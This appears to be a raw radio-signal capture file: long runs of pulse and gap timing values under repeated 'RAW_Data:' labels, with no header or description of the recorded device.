-94 127 -3710 131 -354 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 339 -128 125 -344 353 -140 335 -94 345 -126 121 -372 101 -366 93 -380 351 -102 141 -362 105 -336 127 -356 95 -370 129 -340 129 -338 349 -124 337 -128 121 -3706 97 -394 101 -358 107 -368 327 -140 335 -94 359 -138 361 -106 341 -102 135 -350 353 -94 365 -104 337 -124 121 -356 139 -334 125 -354 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3710 97 -394 101 -358 107 -368 325 -140 335 -94 359 -140 361 -106 341 -100 135 -352 351 -94 363 -106 337 -124 123 -356 137 -334 127 -352 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -124 341 -126 123 -3708 97 -394 103 -358 105 -338 355 -140 335 -94 393 -104 361 -104 343 -102 135 -354 353 -92 363 -106 335 -124 121 -354 139 -334 127 -354 349 -104 141 -362 105 -338 127 -370 105 -360 103 -384 -RAW_Data: 103 -336 351 -140 333 -94 125 -3710 131 -358 103 -358 141 -336 363 -106 337 -128 327 -140 361 -106 341 -100 135 -352 355 -106 345 -104 363 -92 121 -374 103 -366 93 -384 351 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -124 339 -128 121 -3704 131 -340 127 -340 129 -338 347 -124 337 -128 337 -130 337 -128 339 -126 93 -374 349 -132 329 -124 337 -128 91 -370 131 -364 93 -378 319 -134 105 -396 105 -334 127 -356 95 -370 97 -372 129 -340 349 -124 339 -128 91 -3738 99 -372 95 -372 97 -372 347 -124 339 -128 337 -128 337 -94 377 -106 143 -362 315 -140 325 -144 303 -124 123 -358 139 -334 125 -354 351 -102 141 -362 105 -338 127 -356 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3712 99 -392 103 -356 105 -336 357 -140 335 -94 357 -140 361 -106 341 -102 135 -350 353 -92 365 -106 335 -124 123 -354 139 -336 125 -354 349 -104 141 -362 105 -336 127 -374 103 -362 103 -380 105 -336 351 -140 333 -94 125 -3704 131 -352 137 -360 105 -336 369 -108 337 -128 321 -124 369 -98 337 -128 127 -342 355 -140 333 -94 347 -126 121 -372 101 -368 91 -380 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 127 -340 349 -122 339 -128 121 -3704 131 -360 103 -358 105 -370 327 -140 335 -128 327 -140 361 -106 341 -100 135 -352 355 -106 347 -102 363 -94 121 -372 103 -366 125 -366 329 -132 103 -358 105 -370 93 -394 103 -360 103 -382 103 -336 355 -138 333 -94 125 -3704 131 -350 137 -360 105 -336 373 -106 339 -128 319 -126 339 -128 337 -128 127 -346 355 -138 301 -124 347 -126 121 -372 101 -366 93 -380 319 -134 105 -396 105 -336 127 -356 93 -372 95 -372 129 -340 347 -124 339 -128 121 -3712 97 -360 135 -358 105 -338 353 -140 335 -126 327 -140 359 -106 341 -102 133 -352 355 -106 345 -138 329 -94 121 -374 101 -370 91 -398 329 -132 103 -356 107 -368 93 -396 101 -360 103 -382 103 -336 353 -140 333 -96 125 -3710 133 -356 101 -358 143 -334 363 -108 335 -128 329 -140 361 -106 341 -100 135 -352 353 -94 363 -104 337 -124 123 -354 139 -334 127 -354 349 -102 141 -364 105 -336 127 -358 93 -370 129 -340 129 -338 349 -124 337 -128 121 -3708 131 -360 101 -358 107 -368 327 -140 333 -96 395 -104 361 -106 341 -100 135 -354 353 -92 363 -106 335 -126 121 -356 139 -334 125 -354 349 -104 141 -362 105 -336 127 -372 105 -360 105 -382 103 -336 351 -140 335 -94 125 -3708 131 -354 103 -394 -RAW_Data: 105 -336 365 -106 337 -128 349 -94 369 -98 337 -128 125 -344 355 -138 335 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -336 127 -354 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3712 97 -394 103 -358 105 -338 355 -140 335 -94 359 -140 359 -106 341 -102 135 -346 343 -128 337 -128 337 -96 125 -360 125 -340 127 -372 315 -124 123 -360 141 -334 125 -354 93 -370 129 -340 129 -338 349 -124 337 -128 121 -3704 133 -360 103 -358 105 -370 327 -142 335 -96 347 -126 337 -130 337 -128 125 -348 353 -138 301 -124 347 -126 121 -372 101 -366 93 -380 319 -134 141 -362 103 -336 129 -356 93 -372 129 -338 129 -340 349 -124 337 -128 91 -3738 99 -394 101 -358 107 -336 357 -140 335 -94 357 -140 361 -104 343 -100 135 -348 343 -128 337 -96 369 -94 125 -360 127 -338 129 -372 315 -122 123 -360 139 -336 125 -354 93 -392 101 -358 107 -368 329 -140 335 -128 95 -3712 131 -356 103 -358 143 -334 365 -108 335 -128 329 -140 361 -106 339 -102 133 -354 357 -104 347 -102 363 -94 119 -374 101 -370 125 -362 331 -98 137 -358 105 -370 93 -392 103 -360 103 -382 105 -336 351 -140 333 -94 127 -3708 133 -356 103 -358 141 -336 363 -108 335 -128 349 -94 357 -138 355 -106 105 -360 359 -106 345 -102 363 -92 121 -374 101 -368 125 -364 331 -98 135 -358 107 -370 93 -392 103 -360 103 -382 105 -336 351 -140 335 -94 125 -3708 133 -356 101 -358 143 -334 365 -108 337 -126 319 -124 369 -98 337 -128 127 -342 355 -138 335 -94 345 -126 121 -372 101 -368 93 -380 349 -102 141 -362 107 -336 127 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3708 99 -394 101 -358 107 -338 355 -140 335 -94 361 -138 361 -106 341 -102 135 -352 353 -92 365 -104 337 -124 121 -356 139 -334 125 -354 351 -102 141 -362 105 -338 127 -358 93 -370 129 -340 129 -338 349 -122 339 -126 123 -3704 131 -362 101 -360 105 -370 327 -140 335 -94 395 -104 361 -106 341 -100 135 -354 353 -92 363 -106 335 -124 123 -354 141 -334 125 -354 349 -104 141 -362 107 -336 127 -356 125 -338 129 -340 129 -338 349 -124 339 -126 123 -3712 97 -394 103 -358 105 -338 355 -140 335 -94 393 -104 361 -104 343 -100 137 -348 341 -96 369 -98 369 -94 125 -362 125 -340 129 -338 349 -122 123 -356 139 -334 127 -354 123 -340 127 -340 129 -338 349 -122 355 -140 105 -3712 95 -364 139 -334 125 -352 347 -104 335 -124 353 -138 361 -106 335 -94 -RAW_Data: 139 -374 319 -124 357 -104 335 -124 121 -354 137 -334 127 -354 351 -102 141 -362 105 -336 129 -358 93 -392 101 -358 105 -370 327 -140 337 -126 97 -3710 131 -354 101 -394 107 -334 369 -106 337 -128 319 -126 337 -128 337 -128 127 -344 355 -140 333 -94 345 -126 121 -372 101 -368 93 -380 349 -104 139 -362 105 -336 129 -356 93 -372 127 -340 129 -340 349 -124 339 -126 123 -3706 97 -374 129 -338 129 -340 347 -122 337 -128 339 -128 337 -128 341 -124 91 -372 349 -132 329 -124 337 -128 91 -368 133 -364 93 -378 317 -134 141 -362 103 -336 127 -356 93 -372 129 -338 129 -340 349 -122 341 -128 121 -3706 99 -392 103 -358 107 -336 357 -140 335 -94 359 -138 361 -106 341 -102 135 -352 357 -106 345 -102 363 -92 121 -372 139 -332 125 -350 351 -102 141 -362 105 -338 127 -356 125 -338 127 -340 129 -340 347 -122 341 -128 121 -3712 131 -360 101 -360 105 -338 355 -140 335 -94 395 -104 361 -106 341 -102 135 -348 341 -128 337 -96 369 -96 125 -360 125 -340 129 -370 315 -124 123 -360 139 -334 125 -354 125 -338 127 -340 129 -340 347 -122 339 -128 121 -3708 131 -342 127 -340 129 -338 349 -124 339 -128 337 -130 337 -126 341 -142 105 -358 349 -106 361 -106 337 -130 97 -372 103 -370 93 -382 349 -102 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3702 131 -342 127 -340 129 -338 347 -124 339 -128 337 -128 337 -128 339 -124 125 -346 347 -132 329 -126 337 -128 91 -370 131 -366 91 -380 317 -134 105 -396 105 -336 127 -356 93 -370 129 -340 129 -340 349 -124 337 -128 91 -3734 131 -338 129 -338 129 -340 347 -124 337 -128 337 -128 337 -128 337 -124 123 -346 349 -132 329 -124 337 -128 121 -340 131 -366 91 -378 351 -102 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -122 339 -126 123 -3702 131 -358 103 -358 107 -370 327 -140 337 -126 319 -124 369 -98 337 -128 127 -342 355 -138 333 -94 349 -126 121 -372 101 -366 93 -380 351 -102 141 -362 105 -334 129 -356 93 -372 129 -340 127 -340 349 -122 341 -128 121 -3704 131 -360 103 -358 107 -368 325 -140 335 -96 359 -140 359 -106 341 -102 135 -352 357 -106 345 -102 363 -94 121 -372 103 -698210 131 -358 103 -396 105 -334 367 -108 337 -126 317 -126 337 -128 337 -128 125 -346 353 -140 333 -92 345 -126 121 -370 101 -368 91 -380 351 -102 141 -362 105 -336 127 -354 93 -372 127 -340 129 -340 347 -124 337 -126 123 -3710 -RAW_Data: 99 -358 137 -352 105 -336 355 -140 333 -94 357 -138 361 -106 341 -102 133 -352 357 -106 345 -104 361 -94 119 -374 101 -368 93 -394 329 -98 137 -356 107 -370 93 -380 103 -360 139 -338 99 -366 349 -104 369 -94 123 -3696 131 -344 127 -340 129 -338 347 -124 339 -128 337 -128 339 -128 337 -124 125 -346 349 -132 329 -124 337 -128 91 -370 131 -364 93 -378 319 -134 103 -396 105 -334 127 -356 93 -372 95 -372 129 -340 349 -124 337 -130 91 -3736 99 -372 95 -372 97 -372 345 -94 369 -128 339 -96 369 -94 367 -106 141 -362 319 -142 319 -144 331 -94 139 -340 129 -358 93 -390 327 -124 119 -348 139 -334 125 -354 95 -370 129 -340 129 -340 347 -122 337 -128 121 -3704 99 -394 101 -358 107 -368 325 -140 335 -94 357 -140 361 -106 341 -100 135 -352 353 -92 363 -106 335 -126 121 -352 139 -334 125 -370 331 -132 103 -358 105 -370 93 -392 103 -360 103 -380 105 -336 353 -140 333 -94 139 -3714 99 -360 101 -384 105 -336 355 -140 333 -94 347 -126 337 -128 339 -126 127 -344 355 -140 301 -126 343 -126 121 -370 101 -368 91 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 337 -128 121 -3704 99 -392 103 -358 107 -336 357 -140 335 -94 357 -140 361 -106 341 -102 133 -352 353 -92 365 -104 337 -124 121 -354 137 -334 127 -370 331 -98 135 -358 107 -368 93 -380 103 -360 139 -338 99 -366 351 -138 333 -94 139 -3688 131 -358 103 -382 103 -336 353 -140 335 -94 355 -140 359 -106 343 -102 135 -350 353 -92 363 -106 335 -124 123 -352 139 -334 125 -370 331 -98 137 -358 105 -370 93 -392 103 -360 101 -382 105 -336 353 -140 333 -94 139 -3716 99 -358 103 -384 105 -336 355 -140 333 -94 347 -126 337 -128 339 -126 127 -344 355 -140 301 -126 343 -126 123 -370 101 -368 91 -380 351 -102 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 99 -394 101 -356 105 -368 325 -140 335 -94 359 -138 361 -106 341 -102 135 -348 343 -126 339 -96 369 -94 125 -356 127 -372 97 -372 315 -124 141 -340 135 -334 123 -372 95 -372 97 -372 95 -372 347 -124 359 -106 103 -3726 105 -336 127 -360 93 -390 327 -124 359 -104 359 -108 335 -124 361 -104 103 -386 329 -124 317 -126 369 -98 123 -368 95 -362 123 -374 317 -134 105 -396 105 -334 125 -356 93 -370 129 -340 129 -338 349 -124 337 -128 91 -3736 99 -394 101 -356 107 -336 357 -140 333 -126 327 -138 -RAW_Data: 361 -106 343 -100 135 -350 353 -94 345 -138 335 -128 95 -372 103 -370 93 -396 329 -134 101 -356 107 -368 93 -394 103 -360 103 -380 103 -336 355 -138 335 -126 95 -3708 131 -356 103 -358 141 -334 365 -106 337 -126 329 -140 359 -106 343 -100 135 -348 343 -126 339 -96 369 -94 125 -362 125 -340 129 -340 347 -124 121 -354 139 -336 125 -354 95 -390 103 -358 105 -370 329 -140 337 -126 95 -3710 131 -356 103 -358 143 -334 363 -108 337 -126 329 -140 359 -106 341 -102 135 -352 353 -92 363 -106 335 -126 121 -352 139 -336 125 -354 351 -104 141 -362 105 -336 127 -372 103 -362 103 -382 103 -336 353 -138 335 -94 125 -3706 133 -356 101 -358 143 -334 365 -106 337 -128 329 -140 361 -104 341 -102 135 -352 357 -106 345 -102 363 -92 121 -374 101 -368 93 -396 331 -132 101 -358 105 -370 93 -392 103 -360 103 -382 103 -334 355 -140 333 -96 125 -3712 131 -358 103 -358 105 -370 329 -140 335 -96 393 -106 359 -106 341 -102 135 -352 353 -94 361 -106 337 -124 121 -354 139 -336 125 -354 349 -104 141 -364 105 -334 129 -372 103 -362 103 -382 103 -336 353 -138 333 -94 125 -3706 131 -354 101 -396 105 -334 367 -108 337 -128 319 -124 371 -96 337 -128 125 -344 355 -140 333 -94 345 -126 123 -372 101 -366 93 -380 351 -102 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3704 99 -392 103 -358 107 -368 327 -140 335 -96 357 -140 359 -106 341 -102 135 -352 351 -94 363 -106 337 -124 121 -356 139 -334 125 -354 351 -102 141 -362 105 -336 127 -374 103 -360 103 -382 105 -336 351 -140 335 -94 125 -3704 131 -342 129 -338 129 -340 347 -122 341 -126 337 -130 337 -128 335 -126 123 -350 347 -132 331 -122 337 -128 123 -338 131 -366 91 -378 351 -102 141 -362 105 -334 127 -356 95 -370 129 -340 127 -340 347 -124 339 -126 123 -3710 99 -392 103 -356 105 -368 325 -140 335 -94 359 -140 359 -106 341 -102 135 -348 343 -128 337 -128 337 -94 125 -362 125 -340 129 -340 347 -122 123 -356 139 -334 125 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3708 99 -394 101 -358 107 -368 327 -140 335 -94 357 -140 361 -106 341 -102 135 -350 353 -94 363 -104 337 -124 121 -356 139 -334 125 -356 349 -104 141 -362 105 -336 127 -372 105 -360 103 -382 103 -336 355 -140 333 -94 125 -3704 133 -352 103 -394 105 -336 367 -108 335 -128 319 -126 369 -96 337 -128 127 -342 355 -140 333 -94 347 -126 -RAW_Data: 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3700 133 -358 101 -358 107 -370 329 -140 337 -126 317 -126 369 -96 337 -128 127 -342 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -336 127 -354 95 -370 129 -340 129 -338 347 -124 339 -126 121 -3704 131 -358 103 -358 105 -370 329 -140 337 -126 317 -124 369 -98 337 -128 125 -344 355 -140 333 -94 345 -126 121 -372 103 -366 93 -380 351 -102 141 -362 107 -334 129 -356 93 -370 129 -340 129 -338 349 -124 337 -128 121 -3710 97 -394 101 -358 105 -368 327 -140 335 -94 357 -140 361 -104 343 -100 135 -352 353 -94 363 -104 337 -124 123 -354 139 -334 125 -356 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3706 131 -360 103 -358 105 -370 327 -140 335 -96 357 -140 359 -106 343 -100 137 -352 353 -94 361 -106 337 -124 121 -354 139 -334 125 -356 349 -104 141 -362 105 -336 127 -358 93 -392 101 -358 107 -368 329 -142 335 -126 95 -3712 131 -354 103 -394 105 -336 367 -106 337 -128 317 -126 369 -96 337 -128 127 -342 355 -140 335 -94 345 -126 121 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 337 -128 123 -3708 97 -394 101 -360 105 -336 357 -140 335 -94 359 -140 361 -106 341 -100 135 -352 353 -92 365 -106 335 -124 123 -354 139 -334 125 -356 349 -104 141 -362 105 -336 129 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3702 131 -340 127 -340 129 -338 349 -124 339 -126 337 -128 339 -126 337 -124 123 -348 347 -134 331 -122 337 -128 121 -338 133 -366 91 -378 351 -102 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3710 99 -392 103 -358 105 -338 357 -140 335 -94 357 -140 361 -104 343 -100 135 -348 343 -126 339 -128 337 -126 93 -360 127 -340 129 -372 315 -122 123 -358 139 -334 125 -356 93 -370 129 -340 129 -338 349 -122 357 -106 139 -3710 103 -376 103 -336 123 -356 327 -124 385 -106 359 -108 335 -96 347 -126 121 -372 353 -104 345 -104 363 -94 139 -340 127 -358 125 -360 327 -122 121 -348 139 -334 125 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3712 99 -394 101 -358 105 -368 325 -140 335 -96 357 -140 361 -106 343 -100 135 -352 353 -92 363 -106 337 -124 121 -356 139 -334 125 -354 351 -104 141 -362 105 -336 -RAW_Data: 127 -356 93 -372 127 -340 129 -340 347 -122 339 -128 121 -3712 99 -392 103 -358 105 -338 357 -140 335 -126 327 -138 325 -140 341 -100 135 -350 343 -128 337 -130 305 -158 95 -362 125 -372 97 -372 317 -124 121 -354 103 -370 125 -368 103 -360 103 -382 103 -336 355 -140 333 -126 95 -3738 97 -352 137 -360 105 -336 371 -108 339 -128 329 -140 325 -142 339 -102 135 -348 355 -106 345 -138 331 -124 109 -372 97 -360 93 -390 329 -124 107 -376 97 -362 93 -390 101 -394 69 -370 95 -386 351 -102 337 -122 123 -3720 99 -348 127 -370 97 -372 345 -124 313 -126 337 -128 339 -128 337 -126 123 -352 349 -132 329 -124 339 -128 91 -370 131 -366 91 -382 317 -134 105 -396 105 -334 127 -356 93 -372 95 -372 129 -340 349 -124 339 -128 91 -3736 99 -392 103 -356 105 -370 325 -140 335 -126 327 -140 361 -104 343 -102 135 -350 353 -94 365 -104 337 -124 121 -354 137 -336 127 -368 331 -132 103 -356 107 -368 93 -394 103 -360 103 -382 105 -336 353 -140 333 -94 125 -3710 131 -356 103 -394 105 -334 367 -108 337 -128 329 -138 325 -142 341 -100 135 -350 349 -94 347 -138 335 -128 97 -372 103 -368 93 -398 329 -134 101 -394 69 -370 93 -394 103 -360 101 -380 105 -366 325 -140 333 -126 95 -3704 131 -352 135 -360 105 -336 373 -108 335 -130 319 -126 337 -128 337 -128 125 -344 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 349 -122 339 -126 123 -3700 131 -340 129 -340 129 -338 349 -122 339 -128 337 -128 339 -126 339 -124 93 -378 349 -130 329 -124 339 -126 93 -368 131 -366 93 -380 317 -134 105 -396 105 -334 127 -358 93 -372 95 -372 129 -340 349 -124 339 -126 93 -3732 99 -392 103 -358 107 -368 327 -140 335 -126 329 -140 359 -106 341 -102 135 -350 357 -106 345 -104 363 -92 121 -374 101 -368 93 -396 331 -132 103 -356 107 -368 93 -394 103 -360 103 -382 105 -336 353 -140 333 -94 127 -3708 131 -354 103 -394 103 -336 367 -108 339 -128 329 -140 325 -142 339 -102 135 -350 357 -106 345 -102 363 -94 121 -374 101 -368 93 -384 351 -102 141 -362 105 -336 127 -372 105 -360 103 -382 103 -336 353 -140 333 -94 125 -3736 97 -384 101 -360 105 -338 375 -108 339 -128 321 -124 337 -130 337 -128 127 -346 355 -138 301 -126 345 -128 121 -372 101 -364 93 -382 319 -134 105 -398 103 -336 127 -358 93 -370 97 -372 129 -340 347 -124 337 -128 -RAW_Data: 121 -3708 99 -392 103 -358 105 -338 357 -140 337 -126 327 -138 327 -140 341 -100 135 -352 351 -94 367 -104 337 -124 123 -356 137 -334 127 -354 349 -104 141 -362 105 -336 127 -358 95 -370 129 -340 127 -340 349 -122 339 -128 121 -3708 99 -394 101 -358 107 -338 357 -140 335 -96 357 -138 361 -106 343 -100 135 -350 341 -96 369 -96 369 -96 125 -360 127 -340 129 -338 349 -122 123 -354 141 -334 125 -354 125 -340 129 -338 129 -340 347 -124 355 -140 105 -3682 125 -362 141 -332 125 -352 349 -104 335 -122 341 -126 337 -130 337 -128 127 -344 355 -138 303 -124 345 -126 123 -370 101 -368 93 -382 317 -134 141 -362 105 -336 127 -356 95 -370 129 -340 129 -338 349 -124 339 -126 123 -3712 97 -394 103 -356 105 -336 357 -140 335 -94 357 -140 361 -106 341 -102 133 -354 351 -94 363 -106 335 -124 123 -354 139 -336 125 -356 349 -104 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 349 -122 339 -128 121 -3710 99 -392 103 -358 107 -368 327 -140 335 -94 359 -140 359 -106 341 -102 135 -348 341 -128 337 -128 337 -126 95 -366 137 -362 103 -342 353 -94 123 -372 127 -340 129 -340 127 -340 125 -362 139 -334 363 -108 337 -128 97 -3710 133 -354 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 339 -128 125 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -334 129 -356 93 -370 129 -340 129 -338 349 -124 339 -126 121 -3708 131 -358 101 -358 107 -370 329 -140 335 -94 361 -140 359 -106 343 -102 133 -352 357 -106 345 -102 365 -92 121 -374 101 -368 125 -352 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3712 97 -394 103 -358 105 -370 325 -140 335 -96 359 -140 361 -104 341 -102 135 -348 341 -128 337 -128 337 -126 95 -360 125 -372 97 -372 315 -122 125 -358 139 -334 127 -354 93 -392 101 -358 107 -370 329 -140 337 -126 95 -3710 131 -342 127 -340 129 -338 349 -122 341 -126 337 -128 337 -128 337 -126 123 -352 349 -132 329 -124 359 -106 103 -386 103 -360 105 -370 347 -106 139 -362 103 -340 137 -334 123 -374 95 -372 97 -372 317 -122 385 -104 105 -3720 101 -380 105 -336 123 -386 325 -124 345 -94 391 -106 357 -108 333 -94 139 -340 375 -106 337 -130 321 -126 121 -370 103 -366 93 -382 351 -102 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3712 97 -394 101 -358 107 -368 327 -140 335 -94 -RAW_Data: 359 -140 359 -106 341 -102 135 -350 341 -128 337 -128 337 -96 125 -360 127 -372 95 -372 315 -124 123 -356 139 -336 125 -356 93 -372 129 -338 129 -340 347 -124 357 -106 141 -3708 103 -342 137 -336 123 -358 327 -122 387 -106 361 -106 337 -94 347 -126 121 -372 351 -106 345 -102 365 -92 139 -342 127 -360 123 -360 327 -124 119 -348 139 -334 127 -356 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3710 99 -394 101 -358 107 -368 325 -140 335 -128 327 -140 361 -106 341 -100 135 -354 353 -92 363 -106 335 -124 123 -354 139 -336 125 -354 351 -104 141 -362 105 -338 127 -356 93 -370 129 -340 129 -338 347 -124 339 -126 123 -3706 131 -360 103 -358 107 -368 329 -140 337 -126 329 -138 325 -142 341 -102 135 -350 355 -106 347 -136 329 -94 121 -374 101 -368 93 -398 329 -134 101 -358 107 -368 93 -394 103 -360 101 -384 103 -336 355 -140 333 -124 95 -3710 131 -344 127 -340 129 -338 349 -122 357 -138 325 -142 301 -126 349 -140 105 -360 329 -128 323 -156 339 -128 93 -368 95 -364 123 -378 317 -134 103 -396 69 -370 95 -388 93 -372 95 -372 129 -340 349 -122 339 -126 123 -3700 131 -358 103 -358 105 -370 363 -108 339 -128 317 -126 337 -128 339 -126 127 -346 355 -138 301 -126 345 -126 123 -372 99 -368 93 -380 319 -134 105 -398 105 -334 127 -356 95 -370 129 -340 129 -340 347 -126 339 -128 91 -3734 97 -394 103 -358 105 -370 325 -140 337 -126 329 -140 359 -106 341 -102 135 -352 357 -104 345 -104 363 -94 119 -374 101 -368 93 -398 331 -132 101 -358 107 -368 93 -394 103 -360 103 -382 103 -336 355 -140 333 -94 125 -3738 97 -346 127 -338 131 -338 347 -124 341 -128 337 -128 339 -126 337 -126 125 -350 349 -132 329 -124 339 -128 91 -370 131 -364 93 -380 317 -134 105 -396 105 -334 129 -356 93 -372 95 -372 129 -340 349 -124 339 -126 93 -3736 97 -372 127 -340 129 -340 347 -124 337 -128 337 -128 337 -128 337 -126 123 -344 349 -132 329 -124 337 -128 121 -340 131 -366 91 -380 317 -136 139 -362 105 -336 127 -356 93 -372 129 -338 131 -338 349 -124 337 -128 121 -3712 97 -394 101 -356 107 -338 357 -140 335 -126 317 -126 357 -138 317 -142 105 -360 355 -106 347 -102 363 -94 139 -340 129 -358 93 -390 329 -122 145 -340 97 -364 123 -360 101 -394 105 -334 127 -354 349 -104 335 -124 123 -3728 99 -384 101 -360 105 -338 375 -108 339 -128 321 -126 337 -128 339 -128 127 -346 353 -140 299 -158 -RAW_Data: 315 -126 121 -372 101 -366 93 -382 319 -134 103 -396 105 -334 129 -358 93 -372 97 -372 129 -338 349 -124 337 -128 121 -3704 131 -356 103 -358 141 -336 329 -142 335 -128 317 -126 337 -128 339 -128 125 -344 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 93 -372 129 -340 127 -340 347 -124 339 -128 121 -3708 99 -394 101 -358 107 -370 325 -142 335 -126 327 -138 361 -106 341 -102 135 -348 343 -128 337 -128 337 -126 95 -362 125 -340 129 -372 315 -124 121 -356 139 -334 127 -356 93 -370 129 -340 129 -340 347 -124 357 -104 141 -3714 103 -340 137 -334 123 -358 327 -124 349 -140 361 -106 337 -126 317 -126 123 -370 353 -104 345 -136 331 -94 139 -340 129 -358 93 -392 327 -122 121 -348 137 -336 127 -356 93 -370 129 -340 129 -340 349 -122 341 -126 123 -3702 131 -340 129 -338 129 -340 347 -122 339 -126 337 -130 337 -126 337 -126 123 -350 347 -132 331 -122 337 -128 121 -340 131 -366 91 -380 349 -104 139 -362 107 -334 129 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3708 131 -360 103 -358 107 -368 327 -142 335 -126 327 -140 361 -106 341 -102 135 -354 357 -106 345 -102 363 -92 121 -374 101 -368 125 -364 331 -132 103 -356 107 -370 93 -394 101 -362 103 -382 105 -334 353 -140 335 -94 125 -3738 97 -352 137 -360 103 -338 373 -106 337 -128 321 -124 371 -96 337 -128 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -334 129 -356 93 -370 129 -340 127 -340 347 -124 341 -126 121 -3708 131 -358 101 -358 107 -370 329 -140 337 -128 327 -140 361 -106 341 -102 133 -354 357 -104 345 -104 363 -94 119 -374 101 -370 125 -364 329 -134 101 -358 107 -370 93 -392 103 -360 103 -384 103 -336 353 -140 335 -94 125 -3710 131 -354 101 -396 105 -334 367 -108 337 -128 319 -124 369 -98 337 -128 127 -340 357 -140 333 -94 347 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 129 -354 93 -372 129 -338 129 -340 347 -124 339 -126 121 -3704 131 -342 127 -340 129 -340 347 -124 339 -128 337 -128 339 -126 337 -126 123 -348 347 -132 331 -124 337 -126 123 -338 131 -368 91 -380 349 -104 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 133 -360 101 -358 107 -368 327 -140 335 -126 329 -140 361 -106 341 -102 135 -354 353 -92 363 -104 337 -124 123 -354 139 -334 125 -356 351 -102 141 -362 -RAW_Data: 105 -336 129 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3704 131 -356 103 -394 105 -334 365 -108 337 -128 317 -126 369 -96 337 -128 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3712 99 -392 103 -358 105 -370 327 -140 335 -126 327 -140 361 -106 341 -102 135 -354 353 -92 363 -106 337 -124 121 -356 137 -334 127 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3704 131 -358 101 -358 143 -334 363 -108 335 -128 329 -140 361 -106 341 -102 135 -352 357 -106 345 -102 363 -94 121 -372 103 -368 125 -364 331 -132 101 -358 107 -370 93 -394 101 -362 103 -382 103 -336 355 -138 335 -94 125 -3708 131 -352 103 -394 105 -336 371 -106 337 -128 331 -140 361 -106 341 -102 133 -352 353 -94 363 -106 337 -124 121 -356 139 -334 125 -356 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3706 131 -342 127 -340 129 -340 347 -124 339 -128 337 -128 337 -128 337 -124 123 -348 347 -132 331 -124 337 -126 123 -338 131 -368 91 -378 351 -102 141 -362 107 -334 129 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 131 -360 103 -358 107 -368 327 -140 335 -128 329 -140 361 -104 343 -100 135 -352 353 -94 365 -104 337 -124 121 -356 137 -334 127 -354 351 -104 141 -362 105 -338 127 -356 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3702 131 -344 127 -340 129 -338 349 -122 341 -126 337 -130 337 -128 337 -124 123 -350 347 -132 331 -124 335 -128 121 -340 131 -366 93 -378 351 -102 141 -362 107 -336 127 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3702 133 -354 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 339 -128 125 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3702 131 -342 127 -340 129 -338 349 -122 341 -126 337 -128 339 -126 337 -126 123 -350 347 -132 331 -124 337 -128 121 -338 133 -366 91 -380 349 -102 141 -364 103 -336 127 -356 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3702 131 -354 103 -394 105 -336 367 -106 337 -128 321 -124 369 -98 337 -128 125 -344 355 -138 335 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 127 -340 347 -124 -RAW_Data: 339 -126 123 -3702 131 -354 103 -394 105 -336 367 -108 337 -126 351 -94 369 -96 337 -130 125 -340 357 -140 335 -94 347 -126 123 -372 101 -366 93 -382 349 -102 141 -364 105 -336 127 -356 93 -370 129 -340 129 -338 347 -124 339 -128 121 -3708 131 -358 103 -358 107 -368 329 -142 335 -128 327 -140 361 -106 341 -102 135 -354 357 -106 345 -102 363 -94 121 -372 103 -368 